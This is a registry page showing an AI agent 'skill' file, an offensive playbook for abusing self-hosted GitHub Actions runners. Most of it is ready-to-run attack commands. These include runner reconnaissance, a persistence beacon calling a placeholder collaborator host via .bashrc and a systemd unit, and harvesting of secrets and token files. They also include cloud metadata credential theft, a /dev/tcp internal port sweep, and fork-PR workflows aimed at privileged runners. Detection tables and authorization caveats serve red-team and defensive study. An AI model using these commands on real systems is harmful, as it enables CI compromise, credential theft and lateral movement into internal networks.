CtrlK
BlogDocsLog inGet started
Tessl Logo

self-hosted-runner-abuse

Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.

65

Quality

78%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md
SKILL.md
Quality
Evals
Security

Self-Hosted Runner Abuse

Self-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.

Recon — does the target use self-hosted?

# 1. Workflow labels
grep -rnE 'runs-on:\s*(\[\s*self-hosted|self-hosted)' <REPO>/.github/workflows/

# 2. Custom labels signal self-hosted runners ("linux-large", "internal", "gpu-a100")
grep -rnE 'runs-on:\s*\[?[a-z0-9_-]+' <REPO>/.github/workflows/ \
  | grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)'

# 3. Public run history reveals runner hostnames
gh run list --repo <OWNER>/<REPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \
  | while read id; do gh run view "$id" --repo <OWNER>/<REPO> --log 2>/dev/null \
      | grep -iE 'Runner name|Runner group|Machine name'; done | sort -u

# 4. Org-level runner registrations (auth required, but org members often have read)
gh api "orgs/<OWNER>/actions/runners" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}'

Default vs ephemeral

ModeBehaviorAttacker upside
Default (non-ephemeral)Same VM/container picks up the next job. /home/runner/work/_temp/, ~/.cache, env from prior jobs may persist.Persist files; reuse leaked creds; race the next job
Ephemeral (--ephemeral)Runner exits after one job; VM is destroyedPer-job isolation; persistence requires escape to host
actions/runner-images self-hosted on K8s with ARCPod per job, but cluster identity (ServiceAccount) is sharedPivot to cluster API via projected token
# Inside a job — fingerprint the runner
uname -a; id; whoami
mount | grep -E '/home|/runner|overlay'
ls -la /actions-runner /home/runner /opt/actions-runner 2>/dev/null
env | grep -E 'RUNNER_|GITHUB_' | head
# Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs
ls -la "$RUNNER_TEMP/.." 2>/dev/null

Fork-PR execution on self-hosted

# DANGEROUS — fork PRs run on the org's self-hosted fleet
on: pull_request
jobs:
  test:
    runs-on: [self-hosted, linux, internal]
    steps:
      - uses: actions/checkout@v4
      - run: make test

If the repo did not enable "Require approval for all outside collaborators", a fork PR with a poisoned Makefile (see poisoned-pipeline-execution/SKILL.md) gives RCE on the internal runner. First-time-contributor approval is also bypassable: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor.

Persistence on non-ephemeral runners

# In the malicious job step
RUNNER_BIN="$(dirname "$(which Runner.Listener 2>/dev/null || echo /actions-runner/run.sh)")"
echo "Found runner at: $RUNNER_BIN"

# 1. Drop a payload in a path the runner sources before next job
mkdir -p "$HOME/.config"
cat > "$HOME/.config/runner-helper.sh" <<'EOF'
# Beacon — runs as the runner user on next shell-step entry
nohup bash -c 'while true; do curl -s "https://<COLLAB>/beacon/$(hostname)"; sleep 3600; done' &>/dev/null &
EOF

# 2. Hook into bash via runner user's .bashrc — works for any step using a login shell
grep -q runner-helper "$HOME/.bashrc" || echo 'source "$HOME/.config/runner-helper.sh"' >> "$HOME/.bashrc"

# 3. systemd --user unit (if lingering enabled)
mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/beacon.service" <<'EOF'
[Unit] Description=research beacon
[Service] ExecStart=/usr/bin/curl -s https://<COLLAB>/svc/%H
Restart=always
[Install] WantedBy=default.target
EOF
systemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>/dev/null || true

Stop. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist.

Token / secret theft from runner env

# All secrets used in the current job are in env vars or files actions wrote
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head
ls -la "$RUNNER_TEMP" "$HOME/.docker" "$HOME/.aws" "$HOME/.kube" 2>/dev/null

# GITHUB_TOKEN is mounted in env and as `.credential` for git
cat "$HOME/work/_temp/_github_workflow/event.json" 2>/dev/null | head -20
git config --global --get-all credential.helper

# Other jobs' artifacts may still be on disk on non-ephemeral runners
find / -name 'event.json' -path '*_github_workflow*' 2>/dev/null
find /tmp /var/tmp "$RUNNER_TEMP/.." -type f -newer /etc/hostname 2>/dev/null | head -50

Cross-reference cicd-secrets-exfil/SKILL.md for masking-bypass and OIDC exchange once a token is in hand.

Lateral movement from the runner

# 1. Cloud metadata — runner is almost always on EC2/GCE/Azure VM
curl -sH 'Metadata-Token: required' http://169.254.169.254/latest/meta-data/      # AWS IMDSv1 (often allowed even when v2 enforced for users)
TOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token)
curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
curl -sH 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# 2. Internal network — runner is often on a private VPC subnet with reach to staging/prod
ip route; cat /etc/resolv.conf
# Quick TCP sweep with bash builtins (no nmap install needed)
for ip in 10.0.0.{1..20}; do
  for p in 22 80 443 5432 6379 8080 9090; do
    (echo >/dev/tcp/$ip/$p) 2>/dev/null && echo "$ip:$p open"
  done
done

# 3. Kubernetes ServiceAccount (ARC / self-hosted on K8s)
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-12

Runner-label targeting

If the org has a label gpu-a100 mapped to a specific physical host, crafting a workflow with runs-on: [self-hosted, gpu-a100] pins your job to that host. Useful to:

  • Target a specific build operator's machine (developer workstation runners are a pattern in some orgs).
  • Land on a runner with weaker egress controls (e.g. windows-build-old left from a migration).
# Reachability test — does the org let arbitrary fork-PRs target privileged labels?
on: pull_request
jobs:
  pin:
    runs-on: [self-hosted, prod-deploy]
    steps: [{ run: 'hostname; id; env | grep -i deploy' }]

Detection signatures

SignalSource
Outbound DNS/HTTP from runner to non-allowlisted hostegress firewall / Suricata
New ~/.bashrc / systemd user unit on a non-ephemeral runnerhost EDR (osquery, Falco)
runs-on: self-hosted + on: pull_request (not pull_request_target w/ approval)zizmor / octoscan
First-time-contributor PR approved + immediate follow-up PRGitHub Insights / org-level review
IMDS access from a runner's jobVPC flow logs / cloud audit

Tools

ToolUse
gato-x runnersEnumerates self-hosted runners across an org, identifies PPE targets
octoscanFlags self-hosted + untrusted-trigger combinations
runner-images (GitHub)Compare against the official ephemeral image to spot persistence diffs
osquery / falcoDefender-side; useful to know what they see

Decision gate

  1. Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for lateral movement and metadata access, not just CI execution.
  2. Do not exfil cloud creds. curl -s 169.254.169.254/.../security-credentials/ and print first 8 chars only.
  3. Remove any persistence (.bashrc entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report.
  4. Never pivot to a machine outside the runner's subnet without separate authorization.

References

  • GitHub docs — "About self-hosted runners" (limitations + warnings)
  • Praetorian — "Self-Hosted GitHub Runners Are Backdoors"
  • Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.)
  • actions-runner-controller (ARC) — ephemeral runner pattern on K8s
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.